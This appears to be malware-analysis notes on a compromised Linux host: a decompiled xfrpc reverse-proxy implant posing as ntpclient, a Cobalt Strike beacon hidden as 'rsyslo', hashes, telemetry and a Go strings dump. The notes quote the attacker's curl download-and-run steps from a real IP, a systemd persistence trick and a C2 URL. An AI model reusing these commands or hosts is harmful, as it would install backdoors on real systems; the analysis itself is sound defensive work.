if (iVar2 < 1) { "[nss] waitpid xfrpc failed\n"; } else { // decode wait status if ((local_1c & 0x7f) == 0) { // exited normally uVar4 = (local_1c >> 8) & 0xff; // exit code
"[nss] xfrpc subprocess exit: pid=%ld exit_code=%d\n";
} else {
// died from signal
uVar4 = local_1c & 0x7f; // signal
"[nss] xfrpc subprocess killed: pid=%ld signal=%d\n";
// weird case: raw status
if (0xfe < (local_1c & 0xffff) - 1) {
uVar4 = local_1c;
"[nss] xfrpc subprocess exit: pid=%ld raw_status=0x%x\n";
}
}
}
}
if (param_1 != 0) {
FUN_0044fff0(param_1); // free config struct
}
return 0;
}
Hence –
• FUN_00453c91() is a fork() wrapper:
< 0 → fork failed → log “[nss] fork xfrpc”. > 0 → parent: this PID is the new xfrpc subprocess.
• The parent then:
Calls FUN_00453efc(pid, &status, 0) ⇒ waitpid().
Logs how xfrpc exited: normal exit code vs killed by signal vs raw status.
Frees param_1 and returns.
from the parent’s perspective, this function’s job is “spawn xfrpc, wait for it, log its outcome, clean up.”
Child side – run the WS/server loop
If FUN_00453c91() returns 0, we’re in the child process
// child branch (fork() == 0)
FUN_00459862(); // some global/runtime init
FUN_004048d7(param_1,
*(undefined4 *)(param_1 + 0x400),
param_1 + 0x404);
// likely: configure/attach the tunnel/server using fields in the config struct
lVar6 = 0;
FUN_004596b5(); // more setup, probably networking/event-loop init
DAT_0068eed0 = 1; // global “running” flag
uVar3 = FUN_004047a0(); // main server loop
"[nss] ws_server_thread exit: %d\n", uVar3;
DAT_0068eed0 = 0;
if (lVar6 != 0) {
FUN_0044fff0(lVar6); // cleanup if something was allocated
}
return 0;
Key points:
• FUN_00459862() / FUN_004596b5() is an environment + network/event-loop initialization.
• FUN_004048d7(param_1, *(param_1+0x400), param_1+0x404):
o Uses the config structure passed in.
o The fields at offsets 0x400 and 0x404 are port / address / mode for whatever service is being set up.
• DAT_0068eed0 is a global “ws_server is active” flag.
• FUN_004047a0() is the main “ws_server_thread” function, based on the log line:
o "[nss] ws_server_thread exit: %d\n"
in the child, this function is:
Initialize environment → set up WebSocket / proxy server state → run the WS server loop → tear down.
Combined with all the other strings ("xfrpc", config keys like proxy_type, remote_port, custom_domains, http_user, http_pwd), this is a reverse proxy / tunnel client harness:
• ntpclient is not an NTP client – it’s an xfrpc-based reverse proxy implant.
• FUN_004011d0 is the function that:
o Forks off an xfrpc subprocess,
o Monitors its lifetime in the parent,
o And in the child, brings up the internal WebSocket server that glues xfrpc to the rest of the implant logic.
________________________________________
• ntpclient is designed to act as a long-lived tunnel, with:
o an external “xfrpc” client process,
o and an internal WS server loop.
• If ntpclient ever ran, there would be:
o A child process (xfrpc) with its own PID,
o And a WebSocket/tunnel server running in the child process.
On disk will not see extra files from this function (it’s all runtime process management), but would expect to see:
• A process lineage where ntpclient → xfrpc (child).
• Network connections consistent with FRP-style tunneling (to whatever C2/frp-server endpoint it’s configured for).
FUN_004071b3
"Proxy service %d: {name:%s, local_port:%d, type:%s, use_encryption:%d, use_compression:%d, custom_domains:%s, subdomain:%s, locations:%s, host_header_rewrite:%s, http_user:%s, http_pwd:%s}"
This is a post-processing / validation pass over the global proxy list stored in DAT_0068f320.
void FUN_004071b3(void) {
if (DAT_0068f320 == NULL) return;
local_40 = 0;
puVar22 = DAT_0068f320; // current proxy entry
puVar28 = (undefined8 *)puVar22[0x14]; // next entry in linked list
do {
if (puVar22[1] == NULL) {
// If proxy type is missing, default it (LAB_0047434c)
puVar22[1] = strdup(LAB_0047434c);
assign_and_validate:
if (FUN_00406fa2(puVar22) == 0) {
log("Error: validate_proxy failed");
/* error alloc path */
}
} else {
// Special handling if type == LAB_0046127f (a special proxy type)
if (strcmp(puVar22[1], LAB_0046127f) != 0) {
// normal type, just validate and log
goto assign_and_validate;
}
// *** special case: "ftp data proxy" ***
pbVar9 = FUN_00407156(*puVar22); // derive a name based on existing proxy name
// Look up an existing proxy with that derived name in DAT_0068f320’s hash table
// using that TEA-like hash mixer...
if (matching entry exists) {
// Reuse existing entry
free(pbVar9);
goto assign_and_validate;
}
// Otherwise, create a *new* proxy entry based on pbVar9
puVar11 = FUN_00405fdf(pbVar9); // allocate new proxy struct
if (puVar11 != NULL) {
puVar11[2] = strdup(*puVar22); // parent name/reference
puVar11[1] = strdup(LAB_0047434c); // type default for data proxy
*(uint *)(puVar11 + 5) = *(uint *)((long)puVar22 + 0x2c); // remote_data_port -> remote_port
puVar11[4] = puVar22[4]; // local_ip
*(uint *)(puVar11 + 6) = 0; // local_port = 0 initially
// plus a lot of hash-table bookkeeping, rehash if table too full
// (all that TEA hash / bucket stuff)
} else {
log("cannot create ftp data proxy service, it should not happened!");
// error path
}
free(pbVar9);
goto assign_and_validate;
}
// For every proxy entry it ends up with a “summary” log:
log("Proxy service %d: {name:%s, local_port:%d, type:%s, "
"use_encryption:%d, use_compression:%d, custom_domains:%s, "
"subdomain:%s, locations:%s, host_header_rewrite:%s, "
"http_user:%s, http_pwd:%s}",
local_40,
*puVar22,
*(int *)(puVar22 + 6), // local_port
puVar22[1], // type
*(int *)(puVar22 + 3), // use_encryption
*(int *)((long)puVar22+0x1c), // use_compression
puVar22[7], // custom_domains
puVar22[8], // subdomain
puVar22[9], // locations
puVar22[10], // host_header_rewrite
puVar22[0xb], // http_user
puVar22[0xc]); // http_pwd
if (puVar28 == NULL) return; // end of linked list
puVar22 = puVar28; // move to next proxy
puVar28 = (undefined8 *)puVar28[0x14];
local_40++;
} while (true);
}
• DAT_0068f320 = head of a linked list + hash table of all proxy definitions.
• Each node (puVar22) is one proxy service: fields like name, type, local_port, remote_port, custom_domains, http_user, http_pwd, etc.
• This function:
o Fills in missing types with a default.
o Does special handling for a particular type (almost certainly FTP) by auto-creating a second “data” proxy using remote_data_port.
o Ensures each proxy is inserted in the global hash structure.
o Logs “Proxy service X: {…}” line for each.
It does not read any file or write any file; it purely organizes and logs in-memory config.
Disguised as rsyslo –
sha1
0d83b4787db3a78d91e6db7cc0d38091f1abf42d
sha256
c9a0f7cf84866dc948cc6a3322fea44423eb0da23d234794319b2fb91fd1beb8
md5
9a7deea4f96e5c8cbbe0d4481aa88f49
sha512
1e3c2ae4a76e1638d6945eb5c0758fb34a361e1cbc33247126ca576415f4d20024be849cd24023779069493682d95ea544bbb4f57bd37cba03e2a5d1aec84664
ssdeep
24576:nAHgTVEYTG8g9dnGU3XNqW+E8C73G+xY3/My4c763Gheij87uptkuLpIXEfs8:n2E5g9hbXUjHQ3G33Uy4+zj87rcpIXEv
tlsh
T13B5533D600A01EA79215283B646E7FE13F212D6B3E3238581DA6FA92CF790F54D597CC
Colbal Strike beacon –
There is voluminous data available on how Cobalt Strike works – instead of a disassembly we focus on its use in the event
What “rsyslo” actually is
From the event notes:
• Dropped via check.sh as:
curl -fL hxxp://154[.]89[.]152[.]240//a_x64 -o /usr/local/rsyslo/rsyslo
• Persisted as a fake systemd unit:
/etc/systemd/system/rsyslo.service → /usr/local/rsyslo/rsyslo
• The binary’s internal strings include cobeacon, indicating a Cobalt Strike beacon (Linux variant), just renamed and hidden under a fake rsyslog-style path.
Initial launch –
2025-12-05 22:07 UTC
We see a sequence of commands executed as root:
• mkdir -p /usr/local/rsyslo
• curl -fL http://154.89.152.240//a_x64 -o /usr/local/rsyslo/rsyslo
• chmod +x /usr/local/rsyslo/rsyslo
• nohup /usr/local/rsyslo/rsyslo &
Immediately afterwards, /usr/local/rsyslo/rsyslo
Telemetry shows repeated events where the target process is /usr/local/rsyslo/rsyslo all the way through to:
• 2025-12-06 23:59:58 UTC
It is spaced regularly, which looks like normal periodic activity/telemetry from a long-running process.
The Cobalt Strike beacon ran continuously for 26 hours after installation, it crashed before the Nezha deployment but then restarts.
{
"eventTimeDT": "2025-12-06T04:25:25.278000+00:00",
"objectCmd": "/usr/lib/systemd/systemd-coredump",
"objectFilePath": "/usr/lib/systemd/systemd-coredump",
"objectName": "/usr/lib/systemd/systemd-coredump",
"objectUser": "root",
"processCmd": "/usr/lib/systemd/systemd --switched-root --system --deserialize 16",
...
}
1765110937964_X8RXFO0g_streamts:
Verified: Unsigned
File date: 12:35 PM 12/7/2025
Publisher: n/a
Company: n/a
Description: n/a
Product: n/a
Prod version: n/a
File version: n/a
MachineType: n/a
MD5: CE698B0EED6635F3DBB2B59519CCEE16
SHA1: 68CA8E4D89AFCDC8300C603D7805D1CCB05BC08E
PESHA1: 68CA8E4D89AFCDC8300C603D7805D1CCB05BC08E
PE256: F9AD7F1557D8B6CAB3D161549B765A30E9052FC6F42D829FFD0E96375B6FC799
SHA256: F9AD7F1557D8B6CAB3D161549B765A30E9052FC6F42D829FFD0E96375B6FC799
IMP: n/a
From the reversing labs report – one domain stands out
worker.dosmadeeasy[.]ltd:8080/3333.txt
"failed to construct HKDF label: %sillegal base64 data at input byte reflect: Field of non-struct type reflect: Field index out of boundsreflect: string index out of rangetoo many references: cannot splicecrypto/rsa: missing public modulus/etc/ssl/certs/ca-certificates.crtadding nil Certificate to CertPoolx509: unknown public key algorithmx509: invalid certificate policies%s %q is excluded by constraint %qx509: Ed25519 verification failurex509: unhandled critical extensioncrypto/aes: invalid buffer overlapcrypto/des: invalid buffer overlapinvalid padding bits in BIT STRINGGODEBUG sys/cpu: can not disable "chacha20: wrong HChaCha20 key sizecrypto/md5: invalid hash state sizehttp: server closed idle connectionCONTINUATION frame with stream ID 02006-01-02T15:04:05.999999999Z07:00persistentalloc: align is too large/memory/classes/heap/released:bytesgreyobject: obj not pointer-alignedmismatched begin/end of activeSweepmheap.freeSpanLocked - invalid freeattempt to clear non-empty span setruntime: close polldesc w/o unblockruntime: inconsistent read deadlinefindrunnable: netpoll with spinningpidleput: P has non-empty run queuetraceback did not unwind completely1776356839400250464677810668945312588817841970012523233890533447265625ryuFtoaFixed32 called with prec > 9unsupported signature algorithm: %vtls: too many non-advancing recordstls: server selected an invalid PSKreflect.MakeSlice of non-slice typemime: bogus characters after %%: %qhpack: invalid Huffman-encoded datadynamic table size update too largenetwork dropped connection on resettransport endpoint is not connectedfile type does not support deadlinebigmod: modulus is smaller than natx509: malformed extension OID fieldx509: wrong Ed25519 public key sizex509: invalid authority info accesstoo many Questions to pack (>65535)flate: corrupt input before offset '_' must separate successive digitsP224 point is the point at infinityP256 point is the point at infinityP384 point is the point at infinityP521 point is the point at infinitysuperfluous leading zeros in lengthchacha20: output smaller than inputtransform: short destination bufferhttp: unexpected EOF reading trailer LastStreamID=%v ErrCode=%v Debug=%qRoundTrip retrying after failure: %vno acceptable authentication methodslfstack node allocated from the heap) is larger than maximum page size (runtime: invalid typeBitsBulkBarrieruncaching span but s.allocCount == 0/memory/classes/metadata/other:bytes/sched/pauses/stopping/other:secondsuser arena span is on the wrong listruntime: marked free object in span runtime: unblock on closing polldescruntime: inconsistent write deadlineruntime: sudog with non-nil waitlinkruntime: mcall called on m->g0 stackfatal: recursive switchToCrashStack
startm: P required for spinning=true) is not Grunnable or Gscanrunnable
runtime: bad notifyList size - sync=signal arrived during cgo execution
accessed data from freed user arena runtime: wrong goroutine in newstackruntime: invalid pc-encoded table f=Time.UnmarshalBinary: invalid length444089209850062616169452667236328125ryuFtoaFixed64 called with prec > 180123456789abcdefghijklmnopqrstuvwxyzexpected an ECDSA public key, got %Tunsupported SSLv2 handshake receivedtls: server did not send a key sharemethod ABI and value ABI don't alignstrings.Builder.Grow: negative countstrings: Join output length overflowmalformed MIME header initial line: accessing a corrupted shared libraryreflect: NumField of non-struct typeno assembly implementation availablex509: zero or negative DSA parameterx509: invalid CRL distribution pointx509: invalid subject key identifierx509: malformed algorithm identifiercrypto/cipher: input not full blockscrypto/sha1: invalid hash state sizecrypto/sha512: invalid hash functioncompressed name in SRV resource datainvalid pattern syntax (+ after -): edwards25519: invalid point encodingIA5String contains invalid characterchacha20: wrong HChaCha20 nonce sizeunexpected CONTINUATION for stream %dbytes.Buffer: truncation out of rangehttp2: Transport sending health checkhttp2: Transport health check successRoundTrip on uninitialized ClientConnruntime: allocation size out of range) is smaller than minimum page size (/cpu/classes/gc/mark/idle:cpu-secondssetprofilebucket: profile already setfailed to reserve page summary memoryruntime: netpoll: break fd ready for _cgo_notify_runtime_init_done missingfatal: concurrent switchToCrashStack
startTheWorld: inconsistent mp->nextpruntime: unexpected SPWRITE function all goroutines are asleep - deadlock!crypto: Size of unknown hash function2220446049250313080847263336181640625cannot create context from nil parenttls: unsupported certificate key (%T)tls: failed to verify certificate: %sreflect: NumField of non-struct type reflect: funcLayout of non-func type reflect.Value.Bytes of non-byte slicereflect.Value.Bytes of non-byte arrayreflect.Value.Bytes of non-rune slicemethod ABI and value ABI do not alignreflect.Value.Convert: value of type godebug: unexpected IncNonDefault of value too large for defined data typecannot exec a shared library directlyoperation not possible due to RF-killcrypto/rsa: public exponent too smallcrypto/rsa: public exponent too largecrypto/rsa: unsupported hash functionbigmod: internal error: shrinking natx509: malformed extension value fieldx509: RSA key missing NULL parametersx509: invalid CRL distribution pointscrypto/ecdh: invalid private key sizecipher: message authentication failedcrypto/cipher: invalid buffer overlapcrypto/cipher: incorrect GCM tag sizechacha20poly1305: plaintext too largeout does not point to an integer typetoo many Authorities to pack (>65535)too many Additionals to pack (>65535)bisect.Hash: unexpected argument typeexplicitly tagged member didn't matchfailed to parse Location header %q: %vnet/http: invalid header field name %qsyscall: readInt with unsupported sizeindex out of range [%x] with length %ymakechan: invalid channel element typeinternal error: exit hook invoked exitunreachable method called. linker bug?concurrent map iteration and map writegcBgMarkWorker: blackening not enabledcannot read stack of running goroutineruntime: blocked read on free polldescruntime: sudog with non-false isSelectarg size to reflect.call more than 1GBaddtimer called with initialized timerv could not fit in traceBytesPerNumbertime: missing Location in call to Date1110223024625156540423631668090820312555511151231257827021181583404541015625tls: invalid ServerKeyExchange messageexpected an Ed25519 public key, got %Tinternal error: unknown signature typetls: server selected unsupported grouptls: server selected unsupported curvetls: missing ServerKeyExchange messagetls: internal error: unsupported curvemime: expected slash after first tokencan not access a needed shared libraryx509: invalid subject alternative namex509: empty name constraints extensionx509: invalid authority key identifierx509: cannot validate certificate for crypto/sha256: invalid hash state sizechacha20poly1305: ciphertext too largecrypto/sha512: invalid hash state sizeIPv4 field has octet with leading zeroinsufficient data for base length typeinvalid P224 compressed point encodinginvalid P256 compressed point encodinginvalid P384 compressed point encodinginvalid P521 compressed point encodinginternal error: unknown string type %dasn1: Unmarshal recipient value is nilGODEBUG sys/cpu: unknown cpu feature "http: putIdleConn: keep alives disabledinvalid HTTP header value for header %qusername/password authentication failedexec: environment variable contains NULinternal error: exit hook invoked panicmismatched count during itab table copyout of memory allocating heap arena map/cpu/classes/gc/mark/assist:cpu-seconds/cpu/classes/scavenge/total:cpu-seconds/memory/classes/profiling/buckets:bytesmspan.sweep: bad span state after sweepruntime: blocked write on free polldescsuspendG from non-preemptible goroutineruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system calltraceback: unexpected SPWRITE function 2006-01-02 15:04:05.999999999 -0700 MST277555756156289135105907917022705078125tls: unsupported certificate curve (%s)tls: internal error: wrong nonce lengthchain is not signed by an acceptable CAinvalid indexed representation index %dtransport endpoint is already connectedSetctty set but Ctty not valid in childsyscall.releaseForkLock: negative countx509: invalid subject alternative namesx509: invalid NameConstraints extensionx509: failed to parse URI constraint %q because it doesn't contain any IP SANscipher: incorrect tag size given to GCMIPv4 field must have at least one digitmath/big: buffer too small to fit valuetags don't match (%d vs %+v) %+v %s @%dasn1: Unmarshal recipient value is nil http2: timeout awaiting response headerstime: Stop called on uninitialized TimerFrame accessor called on non-owned Framehttp2: Transport encoding header %q = %qprotocol error: headers after END_STREAMinvalid span in heapArena for user arenaruntime: typeBitsBulkBarrier with type bulkBarrierPreWrite: unaligned argumentsrefill of span with free space remaining/cpu/classes/scavenge/assist:cpu-secondsruntime.SetFinalizer: first argument is failed to acquire lock to reset capacitymarkWorkerStop: unknown mark worker modecannot free workbufs when work.full != 0runtime: out of memory: cannot allocate runtime: netpollBreak write failed with global runq empty with non-zero runqsizemust be able to track idle limiter eventerrors: target must be a non-nil pointer13877787807814456755295395851135253906256938893903907228377647697925567626953125ryuFtoaFixed32 called with negative precoversized record received with length %dtls: received empty certificates messageMapIter.Key called on exhausted iteratorreflect.Value.SetBytes of non-byte slicereflect.Value.setRunes of non-rune slicemalformed MIME header: missing colon: %qevictOldest(%v) on table with %v entriesaddress family not supported by protocolcrypto/rsa: input must be hashed messagersa: internal error: inconsistent lengthx509: malformed extension critical fieldx509: cannot parse IP address of length %s %q is not permitted by any constraintcrypto/cipher: message too large for GCMcrypto/cipher: output smaller than inputchacha20poly1305: invalid buffer overlapedwards25519: use of uninitialized PointNumericString contains invalid charactercannot represent time as GeneralizedTimecrypto/md5: invalid hash state identifierhttp2: no cached connection was availablehttp2: Transport health check failure: %vhttp2: invalid Upgrade request header: %qtransport got GOAWAY with error code = %vunexpected call to os.Exit(0) during test closed, unable to open /dev/null, errno=runtime: typeBitsBulkBarrier without type/memory/classes/metadata/mspan/free:bytesruntime.SetFinalizer: second argument is gcSweep being done but phase is not GCoffobjects added out of order or overlappingmheap.freeSpanLocked - invalid stack freemheap.freeSpanLocked - invalid span stateattempted to add zero-sized address rangeruntime: blocked read on closing polldescstopTheWorld: not stopped (stopwait != 0) received on thread with no signal stack
time: Reset called on uninitialized TimerTime.UnmarshalBinary: unsupported version34694469519536141888238489627838134765625strconv: illegal AppendInt/FormatInt basetls: internal error: unsupported key (%T)invalid value length: expected %d, got %dnet/url: invalid control character in URLcan't call pointer on a non-pointer Valuereflect.Value.Addr of unaddressable valueMapIter.Next called on exhausted iteratorbytes.Buffer.WriteTo: invalid Write countbytes.Reader.WriteTo: invalid Write countidna: internal error in punycode encodingx509: cannot parse URI %q: invalid domaincolon must be followed by more charactersasn1: internal error in parseTagAndLengthGODEBUG sys/cpu: no value specified for "mix of request and response pseudo headersPRIORITY frame payload size was %d; want 5http: ContentLength=%d with Body length %dpersistentalloc: align is not a power of 2out of memory allocating checkmarks bitmap/cpu/classes/gc/mark/dedicated:cpu-seconds/memory/classes/metadata/mcache/free:bytes/memory/classes/metadata/mspan/inuse:bytesnon-empty mark queue after concurrent marksweep: tried to preserve a user arena spanruntime: blocked write on closing polldescacquireSudog: found s.elem != nil in cachefatal error: cgo callback before cgo call
on a locked thread with no template threadunexpected signal during runtime execution received but handler not on signal stack
attempted to trace a bad status for a procTime.MarshalBinary: unexpected zone offset173472347597680709441192448139190673828125867361737988403547205962240695953369140625MapIter.Value called on exhausted iteratorreflect: cannot convert slice with length sync/atomic: store of nil value into Valueinternal error: call to runtimeSource.Seedx509: %q cannot be encoded as an IA5Stringx509: RSA modulus is not a positive numbercrypto/sha1: invalid hash state identifierpoly1305: write to MAC after Sum or Verifyinsufficient data for resource body lengthPrintableString contains invalid characterhttp://worker.dosmadeeasy.ltd:8080/3333.txtmultiple Read calls return no data or errornet/http: timeout awaiting response headershttp2: unexpected ALPN protocol %q; want %qTransport: unhandled response frame type %Thttp2: too many 1xx informational responsesError enabling Transport HTTP/2 support: %vnet/http: invalid header field value for %qexec: WaitDelay expired before I/O completeruntime: opened unexpected file descriptor /memory/classes/metadata/mcache/inuse:bytesruntime.SetFinalizer: first argument is nilruntime.SetFinalizer: finalizer already setgcBgMarkWorker: unexpected gcMarkWorkerModenon in-use span found with specials bit setgrew heap, but no adequate free space foundroot level max pages doesn't fit in summaryruntime: releaseSudog with non-nil gp.paramunknown runnable goroutine during bootstrapruntime: casfrom_Gscanstatus bad oldval gp=runtime:stoplockedm: lockedg (atomicstatus=methodValueCallFrameObjs is not in a modulemult64bitPow10: power of 10 is out of rangetls: received unexpected key update messagetls: server did not select an ALPN protocoltls: server sent unrequested session tickettls: received malformed key_share extensiontls: invalid early data for QUIC connectionreflect: nil type passed to Type.Implementsbufio: tried to rewind past start of bufferchunked encoding contains too much non-datainterrupted system call should be restartedx509: failed to parse dnsName constraint %qedwards25519: invalid point encoding lengthexplicit time type given to non-time memberhttp: putIdleConn: too many idle connectionshttp2: could not negotiate protocol mutuallyhttp2: invalid Connection request header: %qhttp: Request.ContentLength=%d with nil Bodyspan on userArena.faultList has invalid sizeruntime: lfstack.push invalid packing: node=out of memory allocating heap arena metadataruntime: cannot remap pages in address space/cpu/classes/scavenge/background:cpu-secondsruntime: unexpected metric registration for gcmarknewobject called while doing checkmarkactive sweepers found at start of mark phaseno P available, write barriers are forbiddencannot trace user goroutine on its own stackunsafe.Slice: ptr is nil and len is not zeromult128bitPow10: power of 10 is out of rangetls: server's Finished message was incorrecttls: server sent an incorrect legacy versionencoding alphabet contains newline characterencoding alphabet includes duplicate symbolsreflect: funcLayout with interface receiver using value obtained using unexported fieldmime: unexpected content after media subtypex509: invalid RDNSequence: invalid attributex509: internal error: cannot parse domain %qcrypto/x509: error fetching intermediate: %wcipher: NewGCM requires 128-bit block ciphercrypto/sha256: invalid hash state identifiercrypto/sha512: invalid hash state identifierinsufficient data for calculated length typehttp: putIdleConn: connection is in bad statehttp: no Client.Transport or DefaultTransportinvalid request :path %q from URL.Opaque = %qnet/http: internal error: connCount underflowtransitioning GC to the same state as before?produced a trigger greater than the heap goaltried to run scavenger from another goroutineruntime: failed mSpanList.remove span.npages=exitsyscall: syscall frame is no longer validunsafe.String: ptr is nil and len is not zerocontext: internal error: missing cancel errortls: internal error: unexpected renegotiationtls: internal error: failed to update bindersreflect: nil type passed to Type.AssignableToreflect: internal error: invalid method indexbufio.Scanner: Read returned impossible countcannot send after transport endpoint shutdowncrypto/rsa: message too long for RSA key sizex509: IP constraint contained invalid mask %xx509: certificate signed by unknown authorityparsing/packing of this section has completedw must be at least 2 by the definition of NAFzero length explicit tag was not an asn1.Flaghttp2: Transport creating client conn %p to %vprotocol error: received DATA after END_STREAMnet/http: internal error: misuse of tryDelivernet/http: too many 1xx informational responsesslice bounds out of range [:%x] with length %ypanicwrap: unexpected string after type name: memory reservation exceeds address space limittried to park scavenger from another goroutinereleased less than one physical page of memory (bad use of unsafe.Pointer? try -d=checkptr)
sysGrow bounds not aligned to pallocChunkBytesruntime: failed to create new OS thread (have runtime: panic before malloc heap initialized
stopTheWorld: not stopped (status != _Pgcstop)runtime: name offset base pointer out of rangeruntime: type offset base pointer out of rangeruntime: text offset base pointer out of rangePSSWithSHA256PSSWithSHA384PSSWithSHA512Ed25519tls: server chose an unconfigured cipher suitetls: failed to parse certificate from server: tls: server did not echo the legacy session IDtls: server accepted 0-RTT with the wrong ALPNtls: received new session ticket from a clientfirst path segment in URL cannot contain colonreflect: nil type passed to Type.ConvertibleTobytes.Reader.UnreadByte: at beginning of sliceboth Setctty and Foreground set in SysProcAttred25519: internal error: setting scalar failedx509: failed to unmarshal elliptic curve pointx509: failed to parse rfc822Name constraint %qx509: malformed signature algorithm identifiermath/big: mismatched montgomery number lengthsedwards25519: invalid field element input sizehttp: server gave HTTP response to HTTPS clientflow control update exceeds maximum window size1xx informational response with END_STREAM flagprotocol error: received DATA on a HEAD requestunexpected error wrapping poll.ErrFileClosing: slice bounds out of range [::%x] with length %yP has cached GC work at end of mark terminationfailed to acquire lock to start a GC transitionfinishGCTransition called without starting one?tried to sleep scavenger from another goroutineracy sudog adjustment due to parking on channelfunction symbol table not sorted by PC offset: attempted to trace a bad status for a goroutinefirst record does not look like a TLS handshaketls: incorrect renegotiation extension contentstls: server selected unadvertised ALPN protocoltls: server selected TLS 1.3 in a renegotiationtls: server sent two HelloRetryRequest messagestls: internal error: pskBinders length mismatchreflect.Value.Bytes of unaddressable byte arraybufio: reader returned negative count from Readattempting to link in too many shared librariesx509: malformed public key algorithm identifierx509: certificate contains duplicate extensionsx509: internal error: IP SAN %x failed to parse (temporarily override with GODEBUG=x509sha1=1)chacha20poly1305: message authentication failedasn1: Unmarshal recipient value is non-pointer explicit string type given to non-string memberslice bounds out of range [:%x] with capacity %yruntime: cannot map pages in arena address spacestrconv: illegal AppendFloat/FormatFloat bitSizenot enough significant bits after mult64bitPow10failed to parse certificate #%d in the chain: %wtls: CurvePreferences includes unsupported curvebufio: writer returned negative count from Writex509: X25519 key encoded with illegal parametersx509: SAN uniformResourceIdentifier is malformedx509: IP constraint contained value of length %dx509: internal error: cannot parse constraint %qx509: internal error: URI SAN %q failed to parseout points to big.Int, but defaultValue does notparsing/packing of this type isn't available yet (Client.Timeout exceeded while awaiting headers)net/http: Transport.Dial hook returned (nil, nil)slice bounds out of range [::%x] with capacity %yinvalid memory address or nil pointer dereferencepanicwrap: unexpected string after package name: s.allocCount != s.nelems && freeIndex == s.nelemsdelayed zeroing on data that may contain pointerssweeper left outstanding across sweep generationsfully empty unfreed span set block found in resetcasgstatus: waiting for Gwaiting but is Grunnablenot enough significant bits after mult128bitPow10crypto/tls: ExportKeyingMaterial context too longtls: server advertised unrequested ALPN extensiontls: server sent a cookie in a normal ServerHellostrings.Reader.UnreadByte: at beginning of stringstrings.Reader.WriteTo: invalid WriteString countinvalid or incomplete multibyte or wide characterecdsa: internal error: truncated hash is too longcrypto/elliptic: internal error: invalid encoding/etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pemx509: invalid RDNSequence: invalid attribute typex509: Ed25519 key encoded with illegal parameterschacha20poly1305: bad nonce length passed to Sealchacha20poly1305: bad nonce length passed to Openthe :: must expand to at least one field of zerosnet/http: cannot rewind body after connection losshttp: putIdleConn: CloseIdleConnections was calledgot CONTINUATION for stream %d; expected stream %dhttp: suspiciously long trailer after chunked bodynet/http: Transport failed to read from server: %vnet/http: HTTP/1.x transport connection broken: %wmallocgc called with gcphase == _GCmarkterminationrecursive call during initialization - linker skewattempt to execute system stack code on user stacktls: received unexpected CertificateStatus messagetls: invalid signature by the server certificate: cryptobyte: attempted write while child is pendingcrypto/elliptic: nistec rejected normalized scalarx509: missing ASN.1 contents; use ParseCertificatex509: invalid RDNSequence: invalid attribute valuex509: RSA public exponent is not a positive numbercrypto/cipher: incorrect nonce length given to GCMchacha20: SetCounter attempted to rollback counteredwards25519: invalid SetUniformBytes input lengthhttp2: invalid Transfer-Encoding request header: %qprotocol error: received %T before a SETTINGS framelimiterEvent.stop: invalid limiter event type foundpotentially overlapping in-use allocations detectedfatal: systemstack called from unexpected goroutinecrypto/tls: reserved ExportKeyingMaterial label: %stls: server's identity changed during renegotiationtls: server selected unsupported compression formattls: server sent an unexpected early_data extensiongodebug: Value of name not listed in godebugs.All: crypto/elliptic: Add was called on an invalid pointx509: certificate has expired or is not yet valid: crypto/ecdh: internal error: isLess input too largehttp2: Transport readFrame error on conn %p: (%T) %vprotocol error: received DATA before a HEADERS framemallocgc called without a P or outside bootstrappingruntime: cannot disable permissions in address spaceruntime.SetFinalizer: pointer not in allocated blockruntime: use of FixAlloc_Alloc before FixAlloc_Init
span set block with unpopped elements found in resetcasfrom_Gscanstatus: gp->status is not in scan stateerrors: *target must be interface or implement errortls: server selected unsupported protocol version %xtls: received a session ticket with invalid lifetimecrypto/rsa: PSSOptions.SaltLength cannot be negativex509: cannot verify signature: insecure algorithm %vhttp: putIdleConn: too many idle connections for hosthttp2: Framer %p: failed to decode just-written frameillegal use of AllowIllegalReads with ReadMetaHeadershttp2: Transport failed to get client conn for %s: %vnon-concurrent sweep failed to drain all sweep queuestls: received unexpected handshake message of type %Ttls: HKDF-Expand-Label invocation failed unexpectedlyreflect: non-interface type passed to Type.Implementsbufio.Scan: too many empty tokens without progressingcrypto/elliptic: attempted operation on invalid pointx509: certificate specifies an incompatible key usagecrypto/ecdh: internal error: mismatched isLess inputschacha20: internal error: wrong dst and/or src lengthhttp: Request.Write on Request with no Host or URL setread loop ending; caller owns writable underlying connnet/http: can't write control character in Request.URLmin size of malloc header is not a size class boundarygcControllerState.findRunnable: blackening not enabledno goroutines (main called runtime.Goexit) - deadlock! goroutine running on other thread; stack unavailable
tls: server resumed a session with a different versiontls: server accepted 0-RTT with the wrong cipher suitetls: certificate used with invalid signature algorithmcryptobyte: Builder is exceeding its fixed-size bufferbytes.Buffer: reader returned negative count from Readx509: cannot verify signature: algorithm unimplementedx509: invalid RDNSequence: invalid attribute value: %sURI with IP (%q) cannot be matched against constraintsname is not in canonical format (it must end with a .)net/http: request canceled while waiting for connectionnet/http: invalid byte %q in %s; dropping invalid bytesmheap.freeSpanLocked - invalid free of user arena chunkcasfrom_Gscanstatus:top gp->status is not in scan statetls: internal error: handshake should have had a resultreflect: internal error: invalid use of makeMethodValuebufio.Scanner: SplitFunc returns negative advance countx509: too many intermediates for path length constraintx509: failed to load system roots and no roots providedcipher.NewCBCEncrypter: IV length must equal block sizecipher.NewCBCDecrypter: IV length must equal block sizeeach colon-separated field must have at least one digithttp2: request body larger than specified content lengthhttp2: response header list larger than advertised limithttp: Request.RequestURI can't be set in client requestsstrings: illegal use of non-zero Builder copied by valuenet/http: Transport.DialContext hook returned (nil, nil)profilealloc called without a P or outside bootstrappingin gcMark expecting to see gcphase as _GCmarkterminationnon-empty pointer map passed for non-pointer-size valuesb4050a850c04b3abf54132565044b0b7d7bfd8ba270b39432355ffb4b70e0cbd6bb4bf7f321390b94a03c1d356c21122343280d6115c1d21bd376388b5f723fb4c22dfe6cd4375a05a07476444d5819985007e34x509: internal error: empty chain when appending CA certcannot run executable found relative to current directory (set GODEBUG=execwait=2 to capture stacks for debugging)runtime: checkmarks found unexpected unmarked object obj=runtime: netpoll: break fd ready for something unexpectedruntime: failed to disable profiling timer; timer_delete(non-Go code set up signal handler without SA_ONSTACK flagsync: WaitGroup misuse: Add called concurrently with Waittls: Ed25519 public keys are not supported before TLS 1.2received record with version %x when expecting version %xtls: server sent an unnecessary HelloRetryRequest messagetls: server selected an invalid PSK and cipher suite pairhttp2: client connection force closed via ClientConn.CloseGODEBUG=execwait=2 detected a leaked exec.Cmd created by:
